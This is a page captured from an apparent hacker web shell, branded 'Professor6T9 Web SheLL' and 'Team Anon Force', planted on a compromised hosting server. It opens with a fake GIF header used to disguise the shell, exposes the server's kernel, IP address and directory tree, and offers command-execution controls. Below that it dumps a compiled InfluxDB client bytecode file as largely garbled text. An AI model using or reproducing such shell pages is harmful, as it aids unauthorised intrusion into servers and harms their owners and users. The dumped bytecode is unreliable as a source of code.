GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
client
/
__pycache__
[ HOME ]
Exec
Submit
users_api.cpython-38.pyc
U ܒi4 � @ s@ d Z ddlmZ ddlmZmZmZmZmZ G dd� de �Z dS )z� Users are those with access to InfluxDB. To grant a user permission to access data, add them as a member of an organization and provide them with an authentication token. � )�Union)�UsersService�User�Users�UserResponse�PasswordResetBodyc @ s� e Zd ZdZdd� Zed�dd�Zeed�dd �Zee d �dd�Z eeee f ed d�dd�Zeeee f d d �dd�Z ed�dd�Zeeee f d�dd�Zd S )�UsersApiz,Implementation for '/api/v2/users' endpoint.c C s || _ t|j�| _dS )zInitialize defaults.N)Z_influxdb_clientr Z api_client�_service)�self�influxdb_client� r �Q/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/client/users_api.py�__init__ s zUsersApi.__init__)�returnc C s | j �� }|S )z&Return the current authenticated user.)r Zget_me�r �userr r r �me s zUsersApi.me)�namer c C s t |d�}| jj|d�S )zCreate a user.)r �r )r r Z post_users)r r r r r r �create_user s zUsersApi.create_user)r r c C s | j j|j|d�S )zcUpdate a user. :param user: User update to apply (required) :return: User )�user_idr )r Zpatch_users_id�idr r r r �update_user s zUsersApi.update_userN)r �passwordr c C s | � |�}| jj|t|�d�S )z�Update a password. :param user: User to update password (required) :param password: New password (required) :return: None )r Zpassword_reset_body)�_user_idr Zpost_users_id_passwordr )r r r r r r r �update_password'